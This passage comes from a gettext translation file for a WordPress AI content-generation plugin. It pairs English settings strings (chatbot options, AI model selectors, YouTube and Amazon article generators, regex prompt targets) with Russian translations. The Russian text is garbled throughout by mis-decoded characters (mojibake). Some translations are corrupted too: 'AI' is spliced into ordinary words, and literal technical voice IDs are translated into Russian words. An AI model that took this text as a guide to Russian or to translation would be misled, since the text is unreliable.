хотите ли вы, чтобы чат-бот отвечал полным текÑтом, или вы хотите " "включить потоковую передачу ответов (Ñто рекомендуемый метод). Ð’ Ñтом Ñлучае " "ответ поÑвитÑÑ Ð² реальном времени, так как его генерирует AI (аналог " "ChatGPT). Ð’Ñ‹ также можете иÑпользовать Ñффект набора текÑта, поÑтому текÑÑ‚ " "будет поÑвлÑÑ‚ÑŒÑÑ Ð¿Ð¾Ñтепенно, но в Ñтом Ñлучае ответ начнет поÑвлÑÑ‚ÑŒÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ " "поÑле того, как AI отправит плагину полный ответ. Это также необходимо Ð´Ð»Ñ " "функции Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь плагина." #: res/aiomatic-main.php:9236 msgid "" "Select if you want to make this rule target post title, content or both." msgstr "" "Выберите, еÑли вы хотите, чтобы Ñто правило предназначалоÑÑŒ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° " "ПоÑта, Контента или обоих." #: res/aiomatic-main.php:9143 msgid "Select if you want to open added links in a new tab." msgstr "Выберите, хотите ли вы открывать добавленные ÑÑылки в новой вкладке." #: aiomatic-automation.php:1236 res/aiomatic-amazon-list.php:1848 #: res/aiomatic-amazon-list.php:4425 res/aiomatic-csv-list.php:297 #: res/aiomatic-csv-list.php:1428 res/aiomatic-review-list.php:1917 #: res/aiomatic-review-list.php:4578 res/aiomatic-rules-list.php:2046 #: res/aiomatic-rules-list.php:4814 res/aiomatic-youtube-list.php:1804 #: res/aiomatic-youtube-list.php:4336 msgid "" "Select if you want to overwrite existing posts during the publishing process." msgstr "" "Выберите, хотите ли вы перезапиÑать ÑущеÑтвующие поÑÑ‚Ñ‹ в процеÑÑе публикации." #: res/aiomatic-chatbot.php:1535 msgid "" "Select if you want to overwrite the chatbot text-to-speech voice ID. This " "needs to be exactly matching the voice ID of the text-to-speech engine you " "are using. For example, for OpenAI Text-to-Speech API, the voice IDs can be: " "alloy, echo, onyx, nova, fable, shimmer" msgstr "" "Выберите, хотите ли вы перезапиÑать голоÑовой идентификатор чат-бота Ð´Ð»Ñ " "Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь. Он должен точно Ñовпадать Ñ Ð³Ð¾Ð»Ð¾Ñовым " "идентификатором иÑпользуемого вами механизма Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь. " "Ðапример, Ð´Ð»Ñ API Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь OpenAI голоÑовые " "идентификаторы могут быть Ñледующими: Ñплав, Ñхо, оникÑ, нова, баÑнÑ, " "мерцание." #: res/aiomatic-chatbot.php:1624 msgid "Select if you want to overwrite the chatbot video avatar URL." msgstr "Выберите, хотите ли вы перезапиÑать URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾Ð°Ð²Ð°Ñ‚Ð°Ñ€Ð° чат-бота." #: res/aiomatic-single-list.php:4483 res/aiomatic-youtube-list.php:1819 #: res/aiomatic-youtube-list.php:4353 msgid "" "Select if you want to process added YouTube videos in order of entry or in " "random order." msgstr "" "Выберите, хотите ли вы обрабатывать добавленные видео YouTube в порÑдке " "поÑÑ‚ÑƒÐ¿Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ в Ñлучайном порÑдке." #: res/aiomatic-automation-list.php:4653 res/aiomatic-automation-list.php:7373 msgid "" "Select if you want to process each keyword from the added list only once." msgstr "" "Выберите, хотите ли вы обрабатывать каждое ключевое Ñлово из добавленного " "ÑпиÑка только один раз." #: res/aiomatic-amazon-list.php:1833 res/aiomatic-amazon-list.php:4408 #: res/aiomatic-csv-list.php:282 res/aiomatic-csv-list.php:1411 #: res/aiomatic-review-list.php:1902 res/aiomatic-review-list.php:4561 #: res/aiomatic-rules-list.php:2031 res/aiomatic-rules-list.php:4797 #: res/aiomatic-youtube-list.php:1789 res/aiomatic-youtube-list.php:4319 msgid "Select if you want to process each title from the added list only once." msgstr "" "Выберите, хотите ли вы обрабатывать каждый Заголовок из добавленного ÑпиÑка " "только один раз." #: res/aiomatic-main.php:7762 msgid "" "Select if you want to randomize the royalty free image sources order, at " "each run. If you check this checkbox, the above order will not be applied " "any more." msgstr "" "Выберите, хотите ли вы рандомизировать порÑдок иÑточников беÑплатных " "изображений при каждом запуÑке. ЕÑли вы уÑтановите Ñтот флажок, " "вышеуказанный порÑдок больше не будет применÑÑ‚ÑŒÑÑ." #: res/aiomatic-main.php:7818 msgid "" "Select if you want to randomize the search results order, of the returned " "images. This can lower the accuracy of images, but make images more unique." msgstr "" "Выберите, хотите ли вы рандомизировать порÑдок результатов поиÑка " "возвращаемых изображений. Это может Ñнизить точноÑÑ‚ÑŒ изображений, но Ñделать " "их более уникальными." #: res/aiomatic-embeddings.php:263 msgid "" "Select if you want to reindex all posts (also the ones which are already " "indexed)." msgstr "" "Выберите, хотите ли вы переиндекÑировать вÑе ПоÑÑ‚Ñ‹ (Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ñ‚Ðµ, которые уже " "проиндекÑированы)." #: aiomatic-automation.php:218 msgid "" "Select if you want to remove all HTML tags from the scraped content and " "leave only the plain textual content in it." msgstr "" "Выберите, хотите ли вы удалить вÑе HTML-теги из ÑпарÑенного контента и " "оÑтавить в нем только проÑтой текÑтовый контент." #: res/aiomatic-chatbot.php:4066 msgid "" "Select if you want to remove JavaScript code from the chatbot's HTML " "responses." msgstr "" "Выберите, хотите ли вы удалить код JavaScript из HTML-ответов чат-бота." #: res/aiomatic-main.php:3531 msgid "" "Select if you want to show a WP Rich Text editor instead of a plain textarea " "for the AI results output." msgstr "" "Выберите, хотите ли вы отображать редактор WP Rich Text вмеÑто обычной " "текÑтовой облаÑти Ð´Ð»Ñ Ð²Ñ‹Ð²Ð¾Ð´Ð° результатов AI." #: res/aiomatic-main.php:3512 msgid "Select if you want to show advanced form options for users." msgstr "" "Выберите, хотите ли вы показывать раÑширенные параметры Формы Ð´Ð»Ñ " "пользователей." #: res/aiomatic-chatbot.php:3522 msgid "Select if you want to show the Chat Clearing Button." msgstr "Выберите, хотите ли вы отображать кнопку очиÑтки чата." #: res/aiomatic-chatbot.php:1662 res/aiomatic-chatbot.php:3501 msgid "Select if you want to show the Chat Log TXT File Download Button." msgstr "" "Выберите, хотите ли вы отображать кнопку загрузки файла TXT журнала чата." #: res/aiomatic-chatbot.php:1641 res/aiomatic-chatbot.php:2000 #: res/aiomatic-chatbot.php:3480 res/aiomatic-chatbot.php:3839 msgid "Select if you want to show the chatbot header." msgstr "Выберите, хотите ли вы отображать заголовок чат-бота." #: res/aiomatic-chatbot.php:1683 msgid "Select if you want to show the clearing button." msgstr "Выберите, хотите ли вы отображать кнопку очиÑтки." #: aiomatic-ajax-actions.php:8155 res/aiomatic-shortcodes.php:365 msgid "Select if you want to show the form header to users." msgstr "Выберите, хотите ли вы показывать пользователÑм заголовок формы." #: res/aiomatic-main.php:7837 msgid "" "Select if you want to try to translate search query keywords to English. " "This can be useful for non-English languages." msgstr "" "Выберите, хотите ли вы попытатьÑÑ Ð¿ÐµÑ€ÐµÐ²ÐµÑти ключевые Ñлова поиÑкового " "запроÑа на английÑкий Ñзык. Это может быть полезно Ð´Ð»Ñ Ð½ÐµÐ°Ð½Ð³Ð»Ð¸Ð¹Ñких Ñзыков." #: res/aiomatic-single-list.php:3363 res/aiomatic-youtube-list.php:425 #: res/aiomatic-youtube-list.php:2977 msgid "" "Select if you want to use AI generated titles for the posts created by the " "plugin. If not, the YouTube video title will be used." msgstr "" "Выберите, хотите ли вы иÑпользовать Ñгенерированные AI заголовки Ð´Ð»Ñ Ð¿Ð¾Ñтов, " "Ñозданных плагином. Ð’ противном Ñлучае будет иÑпользоватьÑÑ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ðµ видео " "YouTube." #: res/aiomatic-spinner-list.php:1015 res/aiomatic-spinner-list.php:1734 #: res/aiomatic-spinner-list.php:2335 res/aiomatic-spinner-list.php:2510 #: res/aiomatic-spinner-list.php:2683 res/aiomatic-spinner-list.php:2901 msgid "" "Select if you want to use AI vision and send to the AI model also the " "Featured Image of the edited post. Note that the AI prompt might also be " "needed to be updated if you enable this feature." msgstr "" "Выберите, хотите ли вы иÑпользовать AI Зрение, и отправьте в модель AI также " "избранное изображение отредактированного поÑта. Обратите внимание, что при " "включении Ñтой функции также может потребоватьÑÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ðµ промпта AI." #: res/aiomatic-rules-list.php:947 res/aiomatic-rules-list.php:3703 #: res/aiomatic-single-list.php:1900 res/aiomatic-single-list.php:3888 #: res/aiomatic-youtube-list.php:950 res/aiomatic-youtube-list.php:3440 msgid "" "Select if you want to use the above content prompt to create the entire " "article from a single API call (checkbox checked) or to run the prompt for " "each section separately (checkbox unchecked). If you check this, be sure to " "modify the content prompt accordingly." msgstr "" "Выберите, хотите ли вы иÑпользовать указанную выше Промпт Ñодержимого Ð´Ð»Ñ " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñей Ñтатьи из одного вызова API (флажок уÑтановлен) или запуÑкать " "Промпт Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Раздела отдельно (флажок не уÑтановлен). ЕÑли вы " "уÑтановите Ñтот флажок, обÑзательно ÑоответÑтвующим образом измените Промпт " "Контента." #: res/aiomatic-main.php:6491 msgid "" "Select if you want to use the AI writer to get related headings for created " "articles." msgstr "" "Выберите, хотите ли вы иÑпользовать модуль AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ " "СвÑзанных Заголовков Ð´Ð»Ñ Ñозданных Статей." #: res/aiomatic-chatbot.php:4106 res/aiomatic-main.php:6471 msgid "" "Select if you want to use the Bing search results to get related headings " "for created articles." msgstr "" "Выберите, хотите ли вы иÑпользовать результаты поиÑка Bing Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ " "ÑвÑзанных Заголовоков Ð´Ð»Ñ Ñозданных Статей." #: res/aiomatic-main.php:2008 msgid "" "Select if you want to use the same API key when creating posts, or do you " "want to select a new API key for each API request." msgstr "" "Выберите, хотите ли вы иÑпользовать один и тот же ключ API при Ñоздании " "поÑтов или хотите выбирать новый ключ API Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ запроÑа API." #: res/aiomatic-amazon-list.php:603 res/aiomatic-amazon-list.php:3234 #: res/aiomatic-review-list.php:530 res/aiomatic-review-list.php:3219 #: res/aiomatic-single-list.php:4811 res/aiomatic-single-list.php:6035 msgid "" "Select if you would like to add a relevant YouTube video to the end of the " "created article." msgstr "" "Выберите, хотите ли вы добавить ÑоответÑтвующее видео YouTube в конец " "Ñозданной Ñтатьи." #: res/aiomatic-single-list.php:3498 res/aiomatic-youtube-list.php:560 #: res/aiomatic-youtube-list.php:3146 msgid "" "Select if you would like to add the source YouTube video to the end of the " "created article." msgstr "" "Выберите, хотите ли вы добавить иÑходное видео YouTube в конец Ñозданной " "Ñтатьи." #: res/aiomatic-main.php:8492 msgid "Select images that have received an Editor's Choice award." msgstr "Выберите изображениÑ, получившие награду «Выбор редакции»." #: res/aiomatic-main.php:3934 msgid "" "Select in which parts of the posts published on your site do you want to " "search for related keywords. If you leave this field blank, the default " "values will be post title and content." msgstr "" "Выберите, в каких чаÑÑ‚ÑÑ… ПоÑтов, опубликованных на вашем Ñайте, вы хотите " "иÑкать СвÑзанные Ключевые Слова. ЕÑли вы оÑтавите Ñто поле пуÑтым, " "значениÑми по умолчанию будут Заголовок и Контент ПоÑта." #: res/aiomatic-rules-list.php:1109 res/aiomatic-rules-list.php:3872 #: res/aiomatic-single-list.php:2062 res/aiomatic-single-list.php:4050 #: res/aiomatic-youtube-list.php:1112 res/aiomatic-youtube-list.php:3609 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, outro, " "excerpt" msgstr "" "Выберите, в каких Промптах вы хотите запуÑтить указанное выше регулÑрное " "выражение (Regex). Возможные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ (или любые их комбинации): Заголовок, " "Ð’ÑÑ‚ÑƒÐ¿Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, Разделы, Контент, Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ, ÐнонÑ." #: res/aiomatic-amazon-list.php:1155 res/aiomatic-amazon-list.php:3697 #: res/aiomatic-single-list.php:5363 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, qa, " "outro, excerpt" msgstr "" "Выберите, по каким промптам вы хотите запуÑтить указанное выше регулÑрное " "выражение. Возможные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ (или Ð»ÑŽÐ±Ð°Ñ Ð¸Ð· их комбинаций): заголовок, " "вÑтупление, разделы, контент, контроль качеÑтва, завершение, отрывок." #: res/aiomatic-review-list.php:1225 res/aiomatic-review-list.php:3851 #: res/aiomatic-single-list.php:6730 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, reviews," " proscons, qa, outro, excerpt" msgstr "" "Выберите, по каким запроÑам вы хотите запуÑтить указанное выше регулÑрное " "выражение. Возможные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ (или Ð»ÑŽÐ±Ð°Ñ Ð¸Ð· их комбинаций): заголовок, " "вÑтупление, разделы, контент, обзоры, запроÑÑ‹, контроль качеÑтва, завершение," " отрывок." #: res/aiomatic-main.php:1761 msgid "" "Select the AI API service to use to generate content in the plugin using the " "gpt-3.5/gpt-4 models." msgstr "" "Выберите Ñлужбу AI API, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° в " "плагине Ñ Ð¸Ñпользованием моделей gpt-3.5/gpt-4." #: res/aiomatic-shortcodes.php:253 msgid "Select the AI assistant ID to be used for this form." msgstr "" "Выберите идентификатор аÑÑиÑтента AI, который будет иÑпользоватьÑÑ Ð² Ñтой " "форме." #: aiomatic-ajax-actions.php:8054 msgid "Select the AI assistant to be used for this form." msgstr "Выберите аÑÑиÑтента AI, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñтой формы." #: aiomatic-automation.php:27 aiomatic-automation.php:64 #: aiomatic-automation.php:289 aiomatic-automation.php:359 msgid "" "Select the AI Assistant to be used with the AI writer. If you select an " "assistant, a model cannot be selected any more, but instead, the model " "assigned to the assistant will be used." msgstr "" "Выберите AI ÐÑÑиÑтента, который будет иÑпользоватьÑÑ Ñ AI Создателем. ЕÑли " "вы выберете аÑÑиÑтента, модель больше Ð½ÐµÐ»ÑŒÐ·Ñ Ð±ÑƒÐ´ÐµÑ‚ выбрать, вмеÑто Ñтого " "будет иÑпользоватьÑÑ Ð¼Ð¾Ð´ÐµÐ»ÑŒ, Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ð°Ñ Ð°ÑÑиÑтенту." #: res/aiomatic-main.php:3210 res/aiomatic-main.php:3737 #: res/aiomatic-main.php:4030 res/aiomatic-main.php:4156 #: res/aiomatic-main.php:5035 res/aiomatic-main.php:5134 #: res/aiomatic-main.php:5263 res/aiomatic-main.php:5493 #: res/aiomatic-main.php:5596 res/aiomatic-main.php:6904 #: res/aiomatic-main.php:7057 res/aiomatic-spinner-list.php:940 #: res/aiomatic-spinner-list.php:1659 res/aiomatic-spinner-list.php:1892 #: res/aiomatic-spinner-list.php:2259 res/aiomatic-spinner-list.php:2434 #: res/aiomatic-spinner-list.php:2607 res/aiomatic-spinner-list.php:2826 msgid "" "Select the AI Assistant to be used. This will disable the ability to select " "AI models, as the models assisgned to the assistant will be used for content " "creation." msgstr "" "Выберите AI ÐÑÑиÑтента, который будет иÑпользоватьÑÑ. Это отключит " "возможноÑÑ‚ÑŒ выбора моделей AI , поÑкольку модели, закрепленные за " "аÑÑиÑтентом, будут иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°." #: res/aiomatic-amazon-list.php:347 res/aiomatic-amazon-list.php:2951 #: res/aiomatic-review-list.php:347 res/aiomatic-review-list.php:3028 #: res/aiomatic-rules-list.php:362 res/aiomatic-rules-list.php:3190 #: res/aiomatic-single-list.php:1330 res/aiomatic-single-list.php:2533 #: res/aiomatic-single-list.php:3285 res/aiomatic-single-list.php:4555 #: res/aiomatic-single-list.php:5852 res/aiomatic-youtube-list.php:347 #: res/aiomatic-youtube-list.php:2918 msgid "" "Select the AI Assistant to use for content creation. This will disable the " "ability to select AI models, as the models assisgned to the assistant will " "be used for content creation." msgstr "" "Выберите AI ÐÑÑиÑтента, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. " "Это отключит возможноÑÑ‚ÑŒ выбора моделей AI, поÑкольку модели, закрепленные " "за ÐÑÑиÑтентом, будут иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°." #: res/aiomatic-spinner-list.php:2873 msgid "Select the AI Model to be used for AI SEO Meta Description Generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° метаопиÑаний " "AI SEO." #: res/aiomatic-spinner-list.php:2307 msgid "Select the AI Model to be used for categories generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий." #: res/aiomatic-amazon-list.php:1320 res/aiomatic-review-list.php:1389 #: res/aiomatic-rules-list.php:1522 res/aiomatic-youtube-list.php:1276 msgid "" "Select the AI Model to be used for category generator. You can add this to " "the post categories, if you select 'AI Generated Categories' in the 'Auto " "Add Categories' settings field." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий. " "Ð’Ñ‹ можете добавить Ñто в категорAI ПоÑтов, еÑли выберете «КатегорAI, " "Ñгенерированные AI» в поле ÐаÑтроек «ÐвтоматичеÑкое добавление категорий»." #: res/aiomatic-spinner-list.php:2655 msgid "Select the AI Model to be used for comments generator." msgstr "" "Выберите Модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Комментариев." #: res/aiomatic-rules-list.php:1282 res/aiomatic-single-list.php:2721 #: res/aiomatic-spinner-list.php:1940 msgid "Select the AI Model to be used for headings generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков." #: res/aiomatic-amazon-list.php:1447 res/aiomatic-review-list.php:1516 #: res/aiomatic-rules-list.php:1649 res/aiomatic-youtube-list.php:1403 msgid "" "Select the AI Model to be used for tag generator. You can add this to the " "post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings " "field." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов. Ð’Ñ‹ " "можете добавить Ñто к тегам поÑтов, еÑли выберете «Теги, Ñгенерированные AI» " "в поле ÐаÑтроек «ÐвтоматичеÑкое добавление тегов»." #: res/aiomatic-spinner-list.php:2482 msgid "Select the AI Model to be used for tags generator." msgstr "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов." #: res/aiomatic-rules-list.php:1139 res/aiomatic-single-list.php:2578 msgid "Select the AI Model to be used for text generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта." #: res/aiomatic-amazon-list.php:3869 res/aiomatic-review-list.php:4022 #: res/aiomatic-rules-list.php:4270 res/aiomatic-youtube-list.php:3780 msgid "" "Select the AI Model to be used for the category generator. You can add this " "to the post categories, if you select 'AI Generated Categories' in the 'Auto " "Add Categories' settings field." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° категорий. " "Ð’Ñ‹ можете добавить Ñто в категорAI ПоÑтов, еÑли выберете «КатегорAI, " "Ñгенерированные AI» в поле ÐаÑтроек «ÐвтоматичеÑкое добавление категорий»." #: res/aiomatic-amazon-list.php:3643 msgid "Select the AI Model to be used for the comparison table generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° таблицы " "ÑравнениÑ." #: res/aiomatic-amazon-list.php:947 res/aiomatic-amazon-list.php:3475 #: res/aiomatic-review-list.php:979 res/aiomatic-review-list.php:3587 #: res/aiomatic-rules-list.php:924 res/aiomatic-rules-list.php:3674 #: res/aiomatic-single-list.php:1877 res/aiomatic-single-list.php:3865 #: res/aiomatic-single-list.php:5155 res/aiomatic-single-list.php:6484 #: res/aiomatic-youtube-list.php:927 res/aiomatic-youtube-list.php:3411 msgid "Select the AI Model to be used for the content generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Контента." #: res/aiomatic-review-list.php:1017 res/aiomatic-review-list.php:3629 #: res/aiomatic-single-list.php:6522 msgid "" "Select the AI Model to be used for the Customer Reviews Analysis generator." msgstr "" "Выберите модель иÑкуÑÑтвенного интеллекта, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ " "генератора анализа отзывов клиентов." #: res/aiomatic-amazon-list.php:1061 res/aiomatic-amazon-list.php:3601 #: res/aiomatic-review-list.php:1169 res/aiomatic-review-list.php:3797 #: res/aiomatic-rules-list.php:1053 res/aiomatic-rules-list.php:3818 #: res/aiomatic-single-list.php:2006 res/aiomatic-single-list.php:3994 #: res/aiomatic-single-list.php:5269 res/aiomatic-single-list.php:6674 #: res/aiomatic-youtube-list.php:1056 res/aiomatic-youtube-list.php:3555 msgid "Select the AI Model to be used for the excerpt generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° выдержек." #: res/aiomatic-rules-list.php:4026 msgid "Select the AI Model to be used for the headings generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков." #: res/aiomatic-amazon-list.php:909 res/aiomatic-amazon-list.php:3433 #: res/aiomatic-review-list.php:903 res/aiomatic-review-list.php:3503 #: res/aiomatic-rules-list.php:848 res/aiomatic-rules-list.php:3590 #: res/aiomatic-single-list.php:1801 res/aiomatic-single-list.php:3789 #: res/aiomatic-single-list.php:5117 res/aiomatic-single-list.php:6408 #: res/aiomatic-youtube-list.php:851 res/aiomatic-youtube-list.php:3327 msgid "Select the AI Model to be used for the intro generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° " "Ð’Ñтупительной ЧаÑти." #: res/aiomatic-amazon-list.php:1023 res/aiomatic-amazon-list.php:3559 #: res/aiomatic-review-list.php:1131 res/aiomatic-review-list.php:3755 #: res/aiomatic-rules-list.php:1015 res/aiomatic-rules-list.php:3776 #: res/aiomatic-single-list.php:1968 res/aiomatic-single-list.php:3956 #: res/aiomatic-single-list.php:5231 res/aiomatic-single-list.php:6636 #: res/aiomatic-youtube-list.php:1018 res/aiomatic-youtube-list.php:3513 msgid "Select the AI Model to be used for the outro generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° " "Заключительной ЧаÑти." #: res/aiomatic-amazon-list.php:1099 res/aiomatic-single-list.php:5307 msgid "" "Select the AI Model to be used for the product comparison table generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° таблицы " "ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð²." #: res/aiomatic-review-list.php:1055 res/aiomatic-review-list.php:3671 #: res/aiomatic-single-list.php:6560 msgid "Select the AI Model to be used for the Pros & Cons generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° плюÑов и " "минуÑов." #: res/aiomatic-amazon-list.php:985 res/aiomatic-amazon-list.php:3517 #: res/aiomatic-review-list.php:1093 res/aiomatic-review-list.php:3713 #: res/aiomatic-rules-list.php:977 res/aiomatic-rules-list.php:3734 #: res/aiomatic-single-list.php:1930 res/aiomatic-single-list.php:3918 #: res/aiomatic-single-list.php:5193 res/aiomatic-single-list.php:6598 #: res/aiomatic-youtube-list.php:980 res/aiomatic-youtube-list.php:3471 msgid "Select the AI Model to be used for the Q&A generator." msgstr "" "Выберите Модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° ВопроÑов и " "Ответов." #: res/aiomatic-review-list.php:941 res/aiomatic-review-list.php:3545 #: res/aiomatic-rules-list.php:886 res/aiomatic-rules-list.php:3632 #: res/aiomatic-single-list.php:1839 res/aiomatic-single-list.php:3827 #: res/aiomatic-single-list.php:6446 res/aiomatic-youtube-list.php:889 #: res/aiomatic-youtube-list.php:3369 msgid "Select the AI Model to be used for the sections generator." msgstr "" "Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ 